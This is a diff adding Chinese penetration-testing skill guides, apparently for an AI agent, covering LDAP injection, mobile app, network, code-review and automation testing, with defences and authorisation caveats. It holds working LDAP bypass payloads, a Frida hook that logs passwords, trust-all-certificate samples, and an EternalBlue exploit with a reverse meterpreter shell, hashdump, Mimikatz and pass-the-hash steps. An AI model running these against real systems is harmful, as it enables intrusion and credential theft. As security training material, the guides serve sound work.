漏洞原理 + +应用程序将用户输入直接拼接到LDAP查询语句中,未进行充分验证和过滤,导致攻击者可以修改查询逻辑。 + +**危险代码示例:** +```java +String filter = "(&(cn=" + userInput + ")(userPassword=" + password + "))"; +ldapContext.search(baseDN, filter, ...); +``` + +## LDAP基础 + +### 查询语法 + +**基础查询:** +``` +(cn=John) +(objectClass=person) +(&(cn=John)(mail=john@example.com)) +(|(cn=John)(cn=Jane)) +(!(cn=John)) +``` + +### 特殊字符 + +**需要转义的字符:** +- `(` `)` - 括号 +- `*` - 通配符 +- `\` - 转义符 +- `/` - 路径分隔符 +- `NUL` - 空字符 + +## 测试方法 + +### 1. 识别LDAP输入点 + +**常见功能:** +- 用户登录 +- 用户搜索 +- 目录浏览 +- 权限验证 + +### 2. 基础检测 + +**测试特殊字符:** +``` +*)(& +*)(| +*))( +*))%00 +``` + +**测试逻辑操作符:** +``` +*)(&(cn=* +*)(|(cn=* +*))(!(cn=* +``` + +### 3. 认证绕过 + +**基础绕过:** +``` +用户名: *)(& +密码: * +查询: (&(cn=*)(&)(userPassword=*)) +``` + +**更精确的绕过:** +``` +用户名: admin)(&(cn=admin +密码: *)) +查询: (&(cn=admin)(&(cn=admin)(userPassword=*))) +``` + +### 4. 信息泄露 + +**枚举用户:** +``` +*)(cn=* +*)(uid=* +*)(mail=* +``` + +**获取属性:** +``` +*)(|(cn=*)(userPassword=* +*)(|(objectClass=*)(cn=* +``` + +## 利用技术 + +### 认证绕过 + +**方法1:逻辑绕过** +``` +输入: *)(& +查询: (&(cn=*)(&)(userPassword=*)) +结果: 匹配所有用户 +``` + +**方法2:注释绕过** +``` +输入: admin)(&(cn=admin +查询: (&(cn=admin)(&(cn=admin)(userPassword=*))) +``` + +**方法3:通配符** +``` +输入: *)(|(cn=*)(userPassword=* +查询: (&(cn=*)(|(cn=*)(userPassword=*)(userPassword=*)) +``` + +### 信息泄露 + +**枚举所有用户:** +``` +搜索: *)(cn=* +结果: 返回所有cn属性 +``` + +**获取密码哈希:** +``` +搜索: *)(|(cn=*)(userPassword=* +结果: 返回用户和密码哈希 +``` + +**获取敏感属性:** +``` +搜索: *)(|(cn=*)(mail=*)(telephoneNumber=* +结果: 返回多个敏感属性 +``` + +### 权限提升 + +**修改查询逻辑:** +``` +原始: (&(cn=user)(memberOf=CN=Users,DC=example,DC=com)) +注入: user)(memberOf=CN=Admins,DC=example,DC=com))(|(cn=user +结果: 可能绕过权限检查 +``` + +## 绕过技术 + +### 编码绕过 + +**URL编码:** +``` +*)(& → %2A%29%28%26 +*)(| → %2A%29%28%7C +``` + +**Unicode编码:** +``` +* → \u002A +( → \u0028 +) → \u0029 +``` + +### 注释绕过 + +**使用注释:** +``` +*)(&(cn=* +*)(|(cn=* +``` + +### 空字符注入 + +**使用NULL字节:** +``` +*))%00 +``` + +## 工具使用 + +### JXplorer + +**图形化LDAP客户端:** +- 连接LDAP服务器 +- 浏览目录结构 +- 执行查询测试 + +### ldapsearch + +```bash +# 基础查询 +ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)" + +# 测试注入 +ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)(&" +``` + +### Burp Suite + +1. 拦截LDAP查询请求 +2. 修改查询参数 +3. 观察响应结果 + +### Python脚本 + +```python +import ldap3 + +server = ldap3.Server('ldap://target.com') +conn = ldap3.Connection(server, authentication=ldap3.SIMPLE, + user='cn=admin,dc=example,dc=com', + password='password') + +# 测试注入 +filter_str = '*)(&' +conn.search('dc=example,dc=com', filter_str) +print(conn.entries) +``` + +## 验证和报告 + +### 验证步骤 + +1. 确认可以控制LDAP查询 +2. 验证认证绕过或信息泄露 +3. 评估影响(未授权访问、数据泄露等) +4. 记录完整的POC + +### 报告要点 + +- 漏洞位置和输入参数 +- LDAP查询构造方式 +- 完整的利用步骤和PoC +- 修复建议(输入验证、参数化查询等) + +## 防护措施 + +### 推荐方案 + +1. **输入验证** + ```java + private static final String[] LDAP_ESCAPE_CHARS = + {"\\", "*", "(", ")", "\0", "/"}; + + public static String escapeLDAP(String input) { + if (input == null) { + return null; + } + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < input.length(); i++) { + char c = input.charAt(i); + if (Arrays.asList(LDAP_ESCAPE_CHARS).contains(String.valueOf(c))) { + sb.append("\\"); + } + sb.append(c); + } + return sb.toString(); + } + ``` + +2. **参数化查询** + ```java + // 使用LDAP API的参数化功能 + String filter = "(&(cn={0})(userPassword={1}))"; + Object[] args = {escapedCN, escapedPassword}; + // 使用API构建查询 + ``` + +3. **白名单验证** + ```java + // 只允许特定字符 + if (!input.matches("^[a-zA-Z0-9@._-]+$")) { + throw new IllegalArgumentException("Invalid input"); + } + ``` + +4. **最小权限** + - LDAP连接使用最小权限账户 + - 限制可查询的属性 + - 使用访问控制列表 + +5. **错误处理** + - 不返回详细错误信息 + - 统一错误响应 + - 记录错误日志 + +## 注意事项 + +- 仅在授权测试环境中进行 +- 注意不同LDAP服务器的语法差异 +- 测试时避免对目录造成影响 +- 了解目标LDAP服务器的配置 \ No newline at end of file diff --git a/skills/mobile-app-security-testing/SKILL.md b/skills/mobile-app-security-testing/SKILL.md new file mode 100644 index 00000000..b0b46dbd --- /dev/null +++ b/skills/mobile-app-security-testing/SKILL.md @@ -0,0 +1,370 @@ +--- +name: mobile-app-security-testing +description: 移动应用安全测试的专业技能和方法论 +version: 1.0.0 +--- + +# 移动应用安全测试 + +## 概述 + +移动应用安全测试是确保移动应用安全性的重要环节。本技能提供移动应用安全测试的方法、工具和最佳实践,涵盖Android和iOS平台。 + +## 测试范围 + +### 1. 应用安全 + +**检查项目:** +- 代码混淆 +- 反编译防护 +- 调试防护 +- 证书绑定 + +### 2. 数据安全 + +**检查项目:** +- 数据加密 +- 密钥管理 +- 敏感数据存储 +- 数据传输 + +### 3. 认证授权 + +**检查项目:** +- 认证机制 +- Token管理 +- 生物识别 +- 会话管理 + +### 4. 通信安全 + +**检查项目:** +- TLS/SSL配置 +- 证书验证 +- API安全 +- 中间人攻击防护 + +## Android安全测试 + +### 静态分析 + +**使用APKTool:** +```bash +# 反编译APK +apktool d app.apk + +# 查看AndroidManifest.xml +cat app/AndroidManifest.xml + +# 查看Smali代码 +find app/smali -name "*.smali" +``` + +**使用Jadx:** +```bash +# 反编译APK +jadx -d output app.apk + +# 查看Java源码 +find output -name "*.java" +``` + +**使用MobSF:** +```bash +# 启动MobSF +docker run -it -p 8000:8000 opensecurity/mobsf + +# 上传APK进行分析 +# 访问 http://localhost:8000 +``` + +### 动态分析 + +**使用Frida:** +```javascript +// Hook函数 +Java.perform(function() { + var MainActivity = Java.use("com.example.MainActivity"); + MainActivity.onCreate.implementation = function(savedInstanceState) { + console.log("[*] onCreate called"); + this.onCreate(savedInstanceState); + }; +}); +``` + +**使用Objection:** +```bash +# 启动Objection +objection -g com.example.app explore + +# Hook函数 +android hooking watch class_method com.example.MainActivity.onCreate +``` + +**使用Burp Suite:** +```bash +# 配置代理 +# Android设置代理指向Burp Suite +# 安装Burp证书 +``` + +### 常见漏洞 + +**硬编码密钥:** +```java +// 不安全的代码 +String apiKey = "1234567890abcdef"; +String password = "admin123"; +``` + +**不安全的存储:** +```java +// SharedPreferences存储敏感数据 +SharedPreferences prefs = getSharedPreferences("data", MODE_WORLD_READABLE); +prefs.edit().putString("password", password).apply(); +``` + +**证书验证绕过:** +```java +// 不验证证书 +TrustManager[] trustAllCerts = new TrustManager[] { + new X509TrustManager() { + public X509Certificate[] getAcceptedIssuers() { return null; } + public void checkClientTrusted(X509Certificate[] certs, String authType) { } + public void checkServerTrusted(X509Certificate[] certs, String authType) { } + } +}; +``` + +## iOS安全测试 + +### 静态分析 + +**使用class-dump:** +```bash +# 导出头文件 +class-dump app.ipa + +# 查看头文件 +find app -name "*.h" +``` + +**使用Hopper:** +```bash +# 使用Hopper反汇编 +# 打开app二进制文件 +# 分析汇编代码 +``` + +**使用otool:** +```bash +# 查看Mach-O信息 +otool -L app + +# 查看字符串 +strings app | grep -i "password\|key\|secret" +``` + +### 动态分析 + +**使用Frida:** +```javascript +// Hook Objective-C方法 +var className = ObjC.classes.ViewController; +var method = className['- login:password:']; +Interceptor.attach(method.implementation, { + onEnter: function(args) { + console.log("[*] Login called"); + console.log("Username: " + ObjC.Object(args[2]).toString()); + console.log("Password: " + ObjC.Object(args[3]).toString()); + } +}); +``` + +**使用Cycript:** +```bash +# 附加到进程 +cycript -p app + +# 执行命令 +[UIApplication sharedApplication] +``` + +### 常见漏洞 + +**硬编码密钥:** +```objective-c +// 不安全的代码 +NSString *apiKey = @"1234567890abcdef"; +NSString *password = @"admin123"; +``` + +**不安全的存储:** +```objective-c +// Keychain存储不当 +NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults]; +[defaults setObject:password forKey:@"password"]; +``` + +**证书验证绕过:** +```objective-c +// 不验证证书 +- (void)connection:(NSURLConnection *)connection +didReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge { + [challenge.sender useCredential:[NSURLCredential credentialForTrust:challenge.protectionSpace.serverTrust] + forAuthenticationChallenge:challenge]; +} +``` + +## 工具使用 + +### MobSF + +```bash +# 启动MobSF +docker run -it -p 8000:8000 opensecurity/mobsf + +# 上传应用进行分析 +# 支持Android和iOS +``` + +### Frida + +```bash +# 安装Frida +pip install frida-tools + +# 运行脚本 +frida -U -f com.example.app -l script.js +``` + +### Objection + +```bash +# 安装Objection +pip install objection + +# 启动Objection +objection -g com.example.app explore +``` + +### Burp Suite + +**配置代理:** +1. 配置Burp Suite监听器 +2. 移动设备设置代理 +3. 安装Burp证书 +4. 拦截和分析流量 + +## 测试清单 + +### 应用安全 +- [ ] 代码混淆检查 +- [ ] 反编译防护 +- [ ] 调试防护 +- [ ] 证书绑定 + +### 数据安全 +- [ ] 数据加密检查 +- [ ] 密钥管理 +- [ ] 敏感数据存储 +- [ ] 数据传输安全 + +### 认证授权 +- [ ] 认证机制测试 +- [ ] Token管理 +- [ ] 会话管理 +- [ ] 生物识别 + +### 通信安全 +- [ ] TLS/SSL配置 +- [ ] 证书验证 +- [ ] API安全测试 +- [ ] 中间人攻击防护 + +## 常见安全问题 + +### 1. 硬编码密钥 + +**问题:** +- API密钥硬编码 +- 密码硬编码 +- 加密密钥硬编码 + +**修复:** +- 使用密钥管理服务 +- 使用环境变量 +- 使用安全存储 + +### 2. 不安全的存储 + +**问题:** +- 明文存储敏感数据 +- 使用不安全的存储方式 +- 数据未加密 + +**修复:** +- 使用加密存储 +- 使用Keychain/Keystore +- 实施数据加密 + +### 3. 证书验证绕过 + +**问题:** +- 不验证SSL证书 +- 接受自签名证书 +- 证书固定未实施 + +**修复:** +- 实施证书固定 +- 验证证书链 +- 使用系统证书存储 + +### 4. 调试信息泄露 + +**问题:** +- 日志包含敏感信息 +- 错误信息泄露 +- 调试模式未禁用 + +**修复:** +- 移除调试代码 +- 限制日志输出 +- 生产环境禁用调试 + +## 最佳实践 + +### 1. 代码安全 + +- 实施代码混淆 +- 禁用调试功能 +- 实施反调试保护 +- 使用证书绑定 + +### 2. 数据安全 + +- 加密敏感数据 +- 使用安全存储 +- 实施密钥管理 +- 限制数据访问 + +### 3. 通信安全 + +- 使用TLS/SSL +- 实施证书固定 +- 验证服务器证书 +- 使用安全API + +### 4. 认证安全 + +- 实施强认证 +- 安全Token管理 +- 实施会话管理 +- 使用生物识别 + +## 注意事项 + +- 仅在授权环境中进行测试 +- 遵守法律法规 +- 注意不同平台的差异 +- 保护用户隐私 \ No newline at end of file diff --git a/skills/network-penetration-testing/SKILL.md b/skills/network-penetration-testing/SKILL.md new file mode 100644 index 00000000..663f50ce --- /dev/null +++ b/skills/network-penetration-testing/SKILL.md @@ -0,0 +1,403 @@ +--- +name: network-penetration-testing +description: 网络渗透测试的专业技能和方法论 +version: 1.0.0 +--- + +# 网络渗透测试 + +## 概述 + +网络渗透测试是评估网络基础设施安全性的重要环节。本技能提供网络渗透测试的方法、工具和最佳实践。 + +## 测试范围 + +### 1. 信息收集 + +**检查项目:** +- 网络拓扑 +- 主机发现 +- 端口扫描 +- 服务识别 + +### 2. 漏洞扫描 + +**检查项目:** +- 系统漏洞 +- 服务漏洞 +- 配置错误 +- 弱密码 + +### 3. 漏洞利用 + +**检查项目:** +- 远程代码执行 +- 权限提升 +- 横向移动 +- 持久化 + +## 信息收集 + +### 网络扫描 + +**使用Nmap:** +```bash +# 主机发现 +nmap -sn 192.168.1.0/24 + +# 端口扫描 +nmap -sS -p- 192.168.1.100 + +# 服务识别 +nmap -sV -sC 192.168.1.100 + +# 操作系统识别 +nmap -O 192.168.1.100 + +# 完整扫描 +nmap -sS -sV -sC -O -p- 192.168.1.100 +``` + +**使用Masscan:** +```bash +# 快速端口扫描 +masscan -p1-65535 192.168.1.0/24 --rate=1000 +``` + +### 服务枚举 + +**SMB枚举:** +```bash +# 枚举SMB共享 +smbclient -L //192.168.1.100 -N + +# 枚举SMB用户 +enum4linux -U 192.168.1.100 + +# 使用nmap脚本 +nmap --script smb-enum-shares,smb-enum-users 192.168.1.100 +``` + +**RPC枚举:** +```bash +# 枚举RPC服务 +rpcclient -U "" -N 192.168.1.100 + +# 使用nmap脚本 +nmap --script rpc-enum 192.168.1.100 +``` + +**SNMP枚举:** +```bash +# SNMP扫描 +snmpwalk -v2c -c public 192.168.1.100 + +# 使用onesixtyone +onesixtyone -c wordlist.txt 192.168.1.0/24 +``` + +## 漏洞扫描 + +### 使用Nessus + +```bash +# 启动Nessus +# 访问Web界面 +# 创建扫描任务 +# 分析扫描结果 +``` + +### 使用OpenVAS + +```bash +# 启动OpenVAS +gvm-setup + +# 访问Web界面 +# 创建扫描任务 +# 分析扫描结果 +``` + +### 使用Nmap脚本 + +```bash +# 漏洞扫描 +nmap --script vuln 192.168.1.100 + +# 特定漏洞扫描 +nmap --script smb-vuln-ms17-010 192.168.1.100 + +# 所有脚本 +nmap --script all 192.168.1.100 +``` + +## 漏洞利用 + +### Metasploit + +**基础使用:** +```bash +# 启动Metasploit +msfconsole + +# 搜索漏洞 +search ms17-010 + +# 使用模块 +use exploit/windows/smb/ms17_010_eternalblue + +# 设置参数 +set RHOSTS 192.168.1.100 +set PAYLOAD windows/x64/meterpreter/reverse_tcp +set LHOST 192.168.1.10 +set LPORT 4444 + +# 执行 +exploit +``` + +**后渗透:** +```bash +# 获取系统信息 +sysinfo + +# 获取权限 +getsystem + +# 迁移进程 +migrate + +# 获取哈希 +hashdump + +# 获取密码 +run post/windows/gather/smart_hashdump +``` + +### 常见漏洞利用 + +**EternalBlue:** +```bash +# 使用Metasploit +use exploit/windows/smb/ms17_010_eternalblue + +# 使用独立工具 +python eternalblue.py 192.168.1.100 +``` + +**BlueKeep:** +```bash +# 使用Metasploit +use exploit/windows/rdp/cve_2019_0708_bluekeep_rce +``` + +**SMBGhost:** +```bash +# 使用独立工具 +python smbghost.py 192.168.1.100 +``` + +## 横向移动 + +### 密码破解 + +**使用Hashcat:** +```bash +# 破解NTLM哈希 +hashcat -m 1000 hashes.txt wordlist.txt + +# 破解LM哈希 +hashcat -m 3000 hashes.txt wordlist.txt + +# 使用规则 +hashcat -m 1000 hashes.txt wordlist.txt -r rules/best64.rule +``` + +**使用John:** +```bash +# 破解哈希 +john hashes.txt + +# 使用字典 +john --wordlist=wordlist.txt hashes.txt + +# 使用规则 +john --wordlist=wordlist.txt --rules hashes.txt +``` + +### Pass-the-Hash + +**使用Impacket:** +```bash +# SMB Pass-the-Hash +python smbexec.py -hashes : domain/user@target + +# WMI Pass-the-Hash +python wmiexec.py -hashes : domain/user@target + +# RDP Pass-the-Hash +xfreerdp /u:user /pth: /v:target +``` + +### 票据传递 + +**使用Mimikatz:** +```bash +# 提取票据 +sekurlsa::tickets /export + +# 注入票据 +kerberos::ptt ticket.kirbi +``` + +**使用Rubeus:** +```bash +# 请求票据 +Rubeus.exe asktgt /user:user /domain:domain /rc4:hash + +# 注入票据 +Rubeus.exe ptt /ticket:ticket.kirbi +``` + +## 工具使用 + +### Nmap + +```bash +# 完整扫描 +nmap -sS -sV -sC -O -p- -T4 target + +# 隐蔽扫描 +nmap -sS -T2 -f -D RND:10 target + +# UDP扫描 +nmap -sU -p- target +``` + +### Metasploit + +```bash +# 启动框架 +msfconsole + +# 数据库初始化 +msfdb init + +# 导入扫描结果 +db_import nmap.xml + +# 查看主机 +hosts + +# 查看服务 +services +``` + +### Burp Suite + +**网络扫描:** +1. 配置代理 +2. 浏览目标网络 +3. 分析流量 +4. 主动扫描 + +## 测试清单 + +### 信息收集 +- [ ] 网络拓扑发现 +- [ ] 主机发现 +- [ ] 端口扫描 +- [ ] 服务识别 +- [ ] 操作系统识别 + +### 漏洞扫描 +- [ ] 系统漏洞扫描 +- [ ] 服务漏洞扫描 +- [ ] 配置错误检查 +- [ ] 弱密码检查 + +### 漏洞利用 +- [ ] 远程代码执行 +- [ ] 权限提升 +- [ ] 横向移动 +- [ ] 持久化 + +## 常见安全问题 + +### 1. 未打补丁的系统 + +**问题:** +- 系统未及时更新 +- 存在已知漏洞 +- 补丁管理不当 + +**修复:** +- 及时安装补丁 +- 建立补丁管理流程 +- 定期安全更新 + +### 2. 弱密码 + +**问题:** +- 默认密码 +- 简单密码 +- 密码重用 + +**修复:** +- 实施强密码策略 +- 启用多因素认证 +- 定期更换密码 + +### 3. 开放端口 + +**问题:** +- 不必要的端口开放 +- 服务暴露 +- 防火墙配置错误 + +**修复:** +- 关闭不必要端口 +- 实施防火墙规则 +- 使用VPN访问 + +### 4. 配置错误 + +**问题:** +- 默认配置 +- 权限过大 +- 服务配置不当 + +**修复:** +- 安全配置基线 +- 最小权限原则 +- 定期配置审查 + +## 最佳实践 + +### 1. 信息收集 + +- 全面扫描 +- 多工具验证 +- 记录发现 +- 分析结果 + +### 2. 漏洞利用 + +- 授权测试 +- 最小影响 +- 记录操作 +- 及时清理 + +### 3. 报告编写 + +- 详细记录 +- 风险评级 +- 修复建议 +- 验证步骤 + +## 注意事项 + +- 仅在授权环境中进行测试 +- 避免对生产系统造成影响 +- 遵守法律法规 +- 保护测试数据 \ No newline at end of file diff --git a/skills/secure-code-review/SKILL.md b/skills/secure-code-review/SKILL.md new file mode 100644 index 00000000..bbb7f0da --- /dev/null +++ b/skills/secure-code-review/SKILL.md @@ -0,0 +1,286 @@ +--- +name: secure-code-review +description: 安全代码审查的专业技能和方法论 +version: 1.0.0 +--- + +# 安全代码审查 + +## 概述 + +安全代码审查是识别代码中安全漏洞的重要方法。本技能提供安全代码审查的方法、工具和最佳实践。 + +## 审查范围 + +### 1. 输入验证 + +**检查项目:** +- 用户输入验证 +- 参数验证 +- 数据过滤 +- 边界检查 + +### 2. 输出编码 + +**检查项目:** +- XSS防护 +- 输出编码 +- 内容安全策略 +- 响应头设置 + +### 3. 认证授权 + +**检查项目:** +- 认证机制 +- 会话管理 +- 权限控制 +- 密码处理 + +### 4. 加密和密钥 + +**检查项目:** +- 数据加密 +- 密钥管理 +- 哈希算法 +- 随机数生成 + +## 审查方法 + +### 1. 静态分析 + +**使用SAST工具:** +```bash +# SonarQube +sonar-scanner + +# Checkmarx +# 使用Web界面 + +# Fortify +sourceanalyzer -b project build.sh +sourceanalyzer -b project -scan + +# Semgrep +semgrep --config=auto . +``` + +### 2. 手动审查 + +**审查清单:** +- [ ] 输入验证 +- [ ] 输出编码 +- [ ] SQL注入 +- [ ] XSS漏洞 +- [ ] 认证授权 +- [ ] 加密使用 +- [ ] 错误处理 +- [ ] 日志记录 + +### 3. 代码模式识别 + +**危险函数:** +```python +# Python危险函数 +eval() +exec() +pickle.loads() +os.system() +subprocess.call() +``` + +```java +// Java危险函数 +Runtime.exec() +ProcessBuilder() +Class.forName() +``` + +```php +// PHP危险函数 +eval() +exec() +system() +passthru() +``` + +## 常见漏洞模式 + +### SQL注入 + +**危险代码:** +```java +String query = "SELECT * FROM users WHERE id = " + userId; +Statement stmt = connection.createStatement(); +ResultSet rs = stmt.executeQuery(query); +``` + +**安全代码:** +```java +String query = "SELECT * FROM users WHERE id = ?"; +PreparedStatement stmt = connection.prepareStatement(query); +stmt.setInt(1, userId); +ResultSet rs = stmt.executeQuery(); +``` + +### XSS漏洞 + +**危险代码:** +```javascript +document.innerHTML = userInput; +element.innerHTML = "
" + userInput + "
"; +``` + +**安全代码:** +```javascript +element.textContent = userInput; +element.setAttribute("data-value", userInput); +// 或使用编码库 +element.innerHTML = escapeHtml(userInput); +``` + +### 命令注入 + +**危险代码:** +```python +import os +os.system("ping " + user_input) +``` + +**安全代码:** +```python +import subprocess +subprocess.run(["ping", "-c", "1", validated_input]) +``` + +### 路径遍历 + +**危险代码:** +```java +String filePath = "/uploads/" + fileName; +File file = new File(filePath); +``` + +**安全代码:** +```java +String basePath = "/uploads/"; +String fileName = Paths.get(fileName).getFileName().toString(); +String filePath = basePath + fileName; +File file = new File(filePath); +if (!file.getCanonicalPath().startsWith(basePath)) { + throw new SecurityException("Invalid path"); +} +``` + +### 硬编码密钥 + +**危险代码:** +```java +String apiKey = "1234567890abcdef"; +String password = "admin123"; +``` + +**安全代码:** +```java +String apiKey = System.getenv("API_KEY"); +String password = keyStore.getPassword("db_password"); +``` + +## 工具使用 + +### SonarQube + +```bash +# 启动SonarQube +docker run -d -p 9000:9000 sonarqube + +# 运行扫描 +sonar-scanner \ + -Dsonar.projectKey=myproject \ + -Dsonar.sources=. \ + -Dsonar.host.url=http://localhost:9000 +``` + +### Semgrep + +```bash +# 安装 +pip install semgrep + +# 运行扫描 +semgrep --config=auto . + +# 使用规则 +semgrep --config=p/security-audit . +``` + +### CodeQL + +```bash +# 创建数据库 +codeql database create database --language=java --source-root=. + +# 运行查询 +codeql database analyze database security-and-quality.qls --format=sarif-latest +``` + +## 审查清单 + +### 输入验证 +- [ ] 所有用户输入都经过验证 +- [ ] 使用白名单验证 +- [ ] 验证数据类型和范围 +- [ ] 处理特殊字符 + +### 输出编码 +- [ ] HTML输出编码 +- [ ] URL编码 +- [ ] JavaScript编码 +- [ ] SQL参数化 + +### 认证授权 +- [ ] 强密码策略 +- [ ] 安全的会话管理 +- [ ] 权限验证 +- [ ] 多因素认证 + +### 加密 +- [ ] 使用强加密算法 +- [ ] 密钥安全存储 +- [ ] 传输加密 +- [ ] 存储加密 + +### 错误处理 +- [ ] 不泄露敏感信息 +- [ ] 统一错误响应 +- [ ] 记录错误日志 +- [ ] 异常处理 + +## 最佳实践 + +### 1. 安全编码规范 + +- 遵循OWASP Top 10 +- 使用安全编码指南 +- 代码审查流程 +- 安全培训 + +### 2. 自动化工具 + +- 集成SAST工具 +- CI/CD安全检查 +- 自动化扫描 +- 结果分析 + +### 3. 代码审查流程 + +- 同行审查 +- 安全专家审查 +- 定期审查 +- 记录问题 + +## 注意事项 + +- 结合工具和人工审查 +- 关注业务逻辑漏洞 +- 定期更新工具规则 +- 建立安全编码文化 \ No newline at end of file diff --git a/skills/security-automation/SKILL.md b/skills/security-automation/SKILL.md new file mode 100644 index 00000000..6fe5ffc6 --- /dev/null +++ b/skills/security-automation/SKILL.md @@ -0,0 +1,383 @@ +--- +name: security-automation +description: 安全自动化的专业技能和方法论 +version: 1.0.0 +--- + +# 安全自动化 + +## 概述 + +安全自动化是提高安全运营效率的重要手段。本技能提供安全自动化的方法、工具和最佳实践。 + +## 自动化场景 + +### 1. 漏洞扫描 + +**自动化扫描:** +- 定期扫描 +- CI/CD集成 +- 结果分析 +- 报告生成 + +### 2. 安全测试 + +**自动化测试:** +- 单元测试 +- 集成测试 +- 安全测试 +- 回归测试 + +### 3. 事件响应 + +**自动化响应:** +- 事件检测 +- 自动遏制 +- 通知告警 +- 证据收集 + +### 4. 合规检查 + +**自动化合规:** +- 配置检查 +- 策略验证 +- 报告生成 +- 修复建议 + +## 工具和框架 + +### 漏洞扫描自动化 + +**使用Nessus API:** +```python +import requests + +# 创建扫描 +def create_scan(target, scan_name): + url = "https://nessus:8834/scans" + headers = {"X-ApiKeys": "access_key:secret_key"} + data = { + "uuid": "template-uuid", + "settings": { + "name": scan_name, + "text_targets": target + } + } + response = requests.post(url, json=data, headers=headers) + return response.json() + +# 启动扫描 +def launch_scan(scan_id): + url = f"https://nessus:8834/scans/{scan_id}/launch" + headers = {"X-ApiKeys": "access_key:secret_key"} + response = requests.post(url, headers=headers) + return response.json() +``` + +**使用OpenVAS API:** +```python +from gvm.connections import UnixSocketConnection +from gvm.protocols.gmp import Gmp + +# 连接OpenVAS +connection = UnixSocketConnection() +gmp = Gmp(connection) +gmp.authenticate('username', 'password') + +# 创建扫描任务 +target = gmp.create_target(name='target', hosts=['192.168.1.0/24']) +config = gmp.get_configs()[0] +scanner = gmp.get_scanners()[0] + +task = gmp.create_task( + name='scan_task', + config_id=config['id'], + target_id=target['id'], + scanner_id=scanner['id'] +) + +# 启动扫描 +gmp.start_task(task['id']) +``` + +### CI/CD集成 + +**Jenkins Pipeline:** +```groovy +pipeline { + agent any + stages { + stage('Security Scan') { + steps { + sh 'npm audit' + sh 'snyk test' + sh 'sonar-scanner' + } + } + stage('Vulnerability Scan') { + steps { + sh 'nmap --script vuln target' + } + } + } + post { + always { + publishHTML([ + reportDir: 'reports', + reportFiles: 'report.html', + reportName: 'Security Report' + ]) + } + } +} +``` + +**GitHub Actions:** +```yaml +name: Security Scan + +on: [push, pull_request] + +jobs: + security-scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + - name: Run Snyk + uses: snyk/actions/node@master + env: + SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }} + - name: Run SonarQube + uses: sonarsource/sonarqube-scan-action@master + env: + SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} +``` + +### 安全测试自动化 + +**使用OWASP ZAP:** +```python +from zapv2 import ZAPv2 + +# 启动ZAP +zap = ZAPv2(proxies={'http': 'http://127.0.0.1:8080'}) + +# 开始扫描 +zap.urlopen('http://target.com') +zap.spider.scan('http://target.com') +while int(zap.spider.status()) < 100: + time.sleep(1) + +# 主动扫描 +zap.ascan.scan('http://target.com') +while int(zap.ascan.status()) < 100: + time.sleep(1) + +# 获取结果 +alerts = zap.core.alerts() +``` + +**使用Burp Suite:** +```python +from burp import IBurpExtender, IScannerCheck + +class BurpExtender(IBurpExtender, IScannerCheck): + def registerExtenderCallbacks(self, callbacks): + self._callbacks = callbacks + self._helpers = callbacks.getHelpers() + callbacks.setExtensionName("Security Automation") + callbacks.registerScannerCheck(self) + + def doPassiveScan(self, baseRequestResponse): + # 被动扫描逻辑 + return None + + def doActiveScan(self, baseRequestResponse, insertionPoint): + # 主动扫描逻辑 + return None +``` + +### 事件响应自动化 + +**使用Splunk:** +```python +import splunklib.client as client + +# 连接Splunk +service = client.connect( + host='splunk.example.com', + port=8089, + username='admin', + password='password' +) + +# 搜索安全事件 +search_query = 'index=security event_type="malware"' +kwargs = {"earliest_time": "-1h", "latest_time": "now"} +search = service.jobs.create(search_query, **kwargs) + +# 处理结果 +for result in search: + if result['severity'] == 'high': + # 自动响应 + send_alert(result) + isolate_system(result['host']) +``` + +**使用ELK Stack:** +```python +from elasticsearch import Elasticsearch + +# 连接Elasticsearch +es = Elasticsearch(['localhost:9200']) + +# 搜索安全事件 +query = { + "query": { + "match": { + "event_type": "intrusion" + } + } +} + +results = es.search(index="security", body=query) + +# 自动响应 +for hit in results['hits']['hits']: + if hit['_source']['severity'] == 'critical': + # 自动遏制 + block_ip(hit['_source']['src_ip']) + send_alert(hit['_source']) +``` + +## 自动化脚本 + +### 漏洞扫描脚本 + +```python +#!/usr/bin/env python3 +import subprocess +import json +import smtplib +from email.mime.text import MIMEText + +def run_nmap_scan(target): + """运行Nmap扫描""" + result = subprocess.run( + ['nmap', '--script', 'vuln', '-oJ', '-', target], + capture_output=True, + text=True + ) + return json.loads(result.stdout) + +def analyze_results(results): + """分析扫描结果""" + vulnerabilities = [] + for host in results.get('hosts', []): + for port in host.get('ports', []): + for script in port.get('scripts', []): + if script.get('id') == 'vuln': + vulnerabilities.append({ + 'host': host['address'], + 'port': port['portid'], + 'vuln': script.get('output', '') + }) + return vulnerabilities + +def send_report(vulnerabilities): + """发送报告""" + if vulnerabilities: + msg = MIMEText(f"发现 {len(vulnerabilities)} 个漏洞") + msg['Subject'] = '漏洞扫描报告' + msg['From'] = 'security@example.com' + msg['To'] = 'admin@example.com' + + server = smtplib.SMTP('smtp.example.com') + server.send_message(msg) + server.quit() + +if __name__ == '__main__': + target = '192.168.1.0/24' + results = run_nmap_scan(target) + vulnerabilities = analyze_results(results) + send_report(vulnerabilities) +``` + +### 配置检查脚本 + +```python +#!/usr/bin/env python3 +import boto3 +import json + +def check_s3_buckets(): + """检查S3存储桶安全配置""" + s3 = boto3.client('s3') + buckets = s3.list_buckets() + + issues = [] + for bucket in buckets['Buckets']: + # 检查公开访问 + try: + acl = s3.get_bucket_acl(Bucket=bucket['Name']) + for grant in acl.get('Grants', []): + if grant.get('Grantee', {}).get('URI') == 'http://acs.amazonaws.com/groups/global/AllUsers': + issues.append({ + 'bucket': bucket['Name'], + 'issue': 'Public access enabled' + }) + except: + pass + + # 检查加密 + try: + encryption = s3.get_bucket_encryption(Bucket=bucket['Name']) + except: + issues.append({ + 'bucket': bucket['Name'], + 'issue': 'Encryption not enabled' + }) + + return issues + +if __name__ == '__main__': + issues = check_s3_buckets() + print(json.dumps(issues, indent=2)) +``` + +## 最佳实践 + +### 1. 自动化策略 + +- 识别可自动化场景 +- 制定自动化计划 +- 逐步实施 +- 持续改进 + +### 2. 工具选择 + +- 评估工具功能 +- 考虑集成性 +- 考虑成本 +- 测试验证 + +### 3. 流程设计 + +- 明确流程步骤 +- 定义触发条件 +- 设置异常处理 +- 记录操作日志 + +### 